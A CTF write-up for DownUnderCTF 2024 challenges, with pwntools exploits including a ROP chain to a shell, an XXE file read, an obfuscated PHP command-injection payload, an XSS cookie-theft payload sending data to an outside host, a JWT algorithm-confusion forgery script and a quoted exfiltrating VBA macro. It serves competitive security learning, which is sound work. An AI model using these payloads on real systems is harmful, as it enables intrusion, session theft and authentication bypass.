Write-up for DownUnderCTF 2024 challenges solved by me.
Challenges and official solutions are available at DownUnderCTF/Challenges_2024_Public.
pwn
vector overflow (239 solves)
See the source code of std
:
struct _Vector_impl_data
{
pointer _M_start;
pointer _M_finish;
pointer _M_end_of_storage;
So we can write the string DUCTF
at the start of the buffer, and then write the start and end addresses of the string into the vector.
from pwn import *
b = ELF('./vector_overflow')
context.binary = b
# p = process()
p = remote('2024.ductf.dev', 30013)
target = b'DUCTF'
buf_start = b.symbols['buf']
target_end = buf_start + len(target)
v_start = b.symbols['v']
p.sendline(flat(target, length=v_start-buf_start) + p64(buf_start) + p64(target_end))
p.interactive()
yawa (184 solves)
Notice that 0x88
bytes are read into a buffer with size 88
and then printed out. So we can cause stack overflow and leak information.
- Leak the stack canary.
- Leak the return address of
main
, and use it to compute the address oflibc
. - Use ROP to execute
system
("/ bin / sh ")
from pwn import *
yawa = ELF('./yawa')
context.binary = yawa
# p = process()
p = remote('2024.ductf.dev', 30010)
p.sendlineafter(b'>', b'1')
p.send(b'A' * 83 + b'canary')
p.sendlineafter(b'>', b'2')
p.recvuntil(b'canary')
canary = b'\0' + p.recv(7)
p.sendlineafter(b'>', b'1')
p.send(b'A' * 100 + b'addr')
p.sendlineafter(b'>', b'2')
p.recvuntil(b'addr')
ret_addr = unpack(p.recvuntil(b'\n')[:-1], 'all')
libc = ELF('./libc.so.6')
libc.address = ret_addr - 0x29d90
rop = ROP(libc)
rop.raw(b'A' * 88 + canary + b'A' * 8)
rop.raw(rop.find_gadget(['pop rdi', 'ret'])[0])
rop.raw(next(libc.search(b'/bin/sh\0')))
rop.raw(rop.find_gadget(['ret'])[0]) # stack alignment
rop.raw(libc.symbols['system'])
p.sendlineafter(b'>', b'1')
p.send(rop.chain())
p.sendlineafter(b'>', b'3')
p.interactive()
misc
DNAdecay (148 solves)
Notice the require
in the first line of the code. Then we can find the encoding logic at doublehelix/lib/doublehelix.rb · mame/doublehelix.
Decoding is straightforward when at least one side is known. When both of the two sides are broken, enumerate within valid ASCII.
pos = [[1,2], [0,3], [0,4], [0,5], [1,6], [2,7], [3,7], [4,7], [5,6]]
pos = pos + list(reversed(pos))
d0 = {
'A': 0,
'C': 2,
'G': 1,
'T': 3,
}
d1 = {
'T': 0,
'G': 2,
'C': 1,
'A': 3,
}
with open('dna.rb') as f:
next(f)
next(f)
val = [0]
i = 0
for line in f:
if line[pos[i % len(pos)][0]] in 'ACGT':
for j in range(len(val)):
val[j] += d0[line[pos[i % len(pos)][0]]] * 4 ** (i % 4)
elif line[pos[i % len(pos)][1]] in 'ACGT':
for j in range(len(val)):
val[j] += d1[line[pos[i % len(pos)][1]]] * 4 ** (i % 4)
else:
newval = []
for j in range(len(val)):
for k in range(4):
newval.append(val[j] + k * 4 ** (i % 4))
val = newval
i += 1
if i % 4 == 0:
a = []
for c in val:
if 33 <= c <= 126:
a.append(chr(c))
if len(a) == 1:
print(a[0], end='')
else:
print(f"{{{','.join(a)}}}", end='')
val = [0]
This gives multiple solutions: puts
Get the correct one based on its meaning: “the mitochondria is the power house of da cell”.
WebSocket VPN (23 solves)
Just send IP datagrams of TCP handshaking and an HTTP request through the WebSocket:
import websocket
from scapy.all import *
ws = websocket.WebSocket()
ws.connect("wss://misc-wsvpn-02c06ee1b4e1.2024.ductf.dev/connect")
print(ws.recv())
SPORT = 1337
ip = IP(src="1.2.3.4", dst="10.0.0.1")
syn = TCP(sport=SPORT, dport=80, flags='S')
syn_packet = ip/syn
ws.send(bytes(syn_packet), websocket.ABNF.OPCODE_BINARY)
synack = IP(ws.recv())
synack.show()
http_request = "GET / HTTP/1.1\r\nHost: 10.0.0.1\r\n\r\n"
ack = TCP(sport=SPORT, dport=80, flags='PA', seq=synack[TCP].ack, ack=synack[TCP].seq+1)
ack_packet = ip/ack/http_request
ws.send(bytes(ack_packet), websocket.ABNF.OPCODE_BINARY)
response = IP(ws.recv())
response.show()
response = IP(ws.recv())
response.show()
ws.close()
the other minimal php (22 solves)
Because of the htmlspecialchars
, the payload needs to be valid UTF-8.
Take a look at the valid UTF-8 ranges: https
The inversions of 0xxxxxxx
, 1110xxxx
and 11110xxx
are not printable ASCII, while the inversions of 110xxxxx
and 10xxxxxx
are. So a possible approach is to construct codes that follow the 110xxxxx
, 10xxxxxx
, 110xxxxx
, 10xxxxxx
, 110xxxxx
, 10xxxxxx
… pattern.
Many frequently used punctuation marks are in the 0x20-0x3f
range, including space, quotes, ()$;=
, and the numbers. 0x40-0x7f
are mainly the letters. The key to the construction is to utilize the punctuation marks in 0x40-0x7f
: @[\]^
.
Backticks can be used to get shellcode results. In the shell, we can add many quotes. See other details in the final constructions and payloads:
<?php
$s = <<<'EOF'
{$a=`"p"r"i"n"t"f p"r"i"n"t"f"`;}$a(`"l"s \/`)^0x1a;{;}
EOF;
$s = <<<'EOF'
{$a=`"p"r"i"n"t"f p"r"i"n"t"f"`;}$a(` c"a"t \/f"l"a"g"`)^0x1a;{;}
EOF;
eval($s);
echo urlencode(~$s);
mkductfiso (19 solves)
Extract the ISO to see that initramfs
and {
are missing. So we can copy the initramfs
from the official Arch Linux ISO to arch
, and delete the ucode.img
requirement in boot
.
To make a bootable ISO file, we can refer to the mkarchiso
script:
xorriso -no_rc -as mkisofs \
-iso-level 3 \
-full-iso9660-filenames \
-joliet \
-joliet-long \
-rational-rock \
-eltorito-boot boot/syslinux/isolinux.bin \
-eltorito-catalog boot/syslinux/boot.cat \
-no-emul-boot -boot-load-size 4 -boot-info-table \
-output ductfiso.iso \
ductfiso
Boot the ISO file in VirtualBox to get the flag.
web
zoo feedback form (693 solves)
XXE:
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY flag SYSTEM "/flag.txt"> ]>
<root>
<feedback>&flag;</feedback>
</root>
co2 (289 solves)
Python class pollution: Send feedback {"
.
co2v2 (59 solves)
Use class pollution to cancel the XSS countermeasures. POST the payload to /
and /
: {"
. Then the templates are not escaped and the nonce is fixed and known.
The /blog/<id>
routes are actually not displaying the blogs, so we need to use the blogs displayed on the homepage. The blog contents are cut at the first 100 characters, but the titles are not. So we can create a blog with title <script nonce=8a5edab282632443219e051e4ade2d1d5bbc671c781051bf1437897cbdfea0f1>fetch('https://apnrf369.requestrepo.com/',{method:'POST',body:document.cookie})</script>
.
hah got em (173 solves)
Find the security notice in the release note of the next version: Release 8.1.0 · gotenberg/gotenberg.
Then check the commit log to find the patch: fix(chromium): better default deny list regexp · gotenberg/gotenberg@ad152e6.
The vulnerable API path can be found in the documentation: POST
The URL is first resolved and then checked against the regular expression, so we cannot use /tmp/../
to bypass it. However, we can use any one of t
, m
, p
as the first letter, so we can use file
.
i am confusion (113 solves)
Notice that the signing algorithm is RS256
but both RS256
and HS256
are accepted in verification. RS256
is asymmetric but HS256
is symmetric. Verification uses the public key for asymmetric algorithms. The same key is used for both signing and verification for symmetric algorithms. So we can forge HS256
signatures with the public key of RS256
.
The same private key is used for both JWT and TLS, so they also use the same public key. Then we can download the TLS certificate in the browser and get the public key.
const fs = require('fs');
const crypto = require('crypto');
const jwt = require('jsonwebtoken');
const pem = fs.readFileSync('i-am-confusion.2024.ductf.pem');
const publicKey = crypto.createPublicKey({
key: pem,
format: 'pem',
}).export({
format: 'pem',
type: 'pkcs1',
});
const token = jwt.sign({ user: 'admin' }, publicKey, { algorithm: 'HS256' });
console.log(token);
forensics
Macro Magic (146 solves)
View the macro codes in Office. There are many useless codes and comments with fake flags. The relevant codes are in macro1
. The flag is at Q = "Flag: " & valueA1
. Trace the data flow to see the codes that really matter:
S = "Mon"
D = "Ma"
G = "key"
F = "gic"
Q = "Flag: " & valueA1
O = doThing(Q, W)
Z = forensics(O)
T = totalyFine(Z)
J = "http://downunderctf.com/" + T
superThing (J)
Public Function doThing(B As String, C As String) As String
Dim I As Long
Dim A As String
For I = 1 To Len(B)
A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))
Next I
doThing = A
End Function
Public Function forensics(B As String) As String
Dim A() As Byte
Dim I As Integer
Dim C As String
A = StrConv(B, vbFromUnicode)
For I = LBound(A) To UBound(A)
C = C & CStr(A(I)) & " "
Next I
C = Trim(C)
forensics = C
End Function
Public Function totalyFine(A As String) As String
Dim B As String
B = Replace(A, " ", "-")
totalyFine = B
End Function
Public Function superThing(ByVal A As String) As String
With CreateObject("MSXML2.ServerXMLHTTP.6.0")
.Open "GET", A, False
.Send
superThing = StrConv(.responseBody, vbUnicode)
End With
End Function
The only useful HTTP request in the pcapng file is GET
with Host
. It's the ASCII of the flag XORed with MonkeyMagic
cyclically.
osint
Bridget Lives (505 solves)
Search the image on Google to find that it is the Jiak Kim Bridge. Then use Google Earth to find that the building nearby is FOUR POINTS.
back to the jungle (460 solves)
Search for “MC Fat Monke” to find the video MC Fat Monke - Back to the Jungle - YouTube. There is a “FREE FLAG” page at 2:34. Visit the URL of that page to get the flag.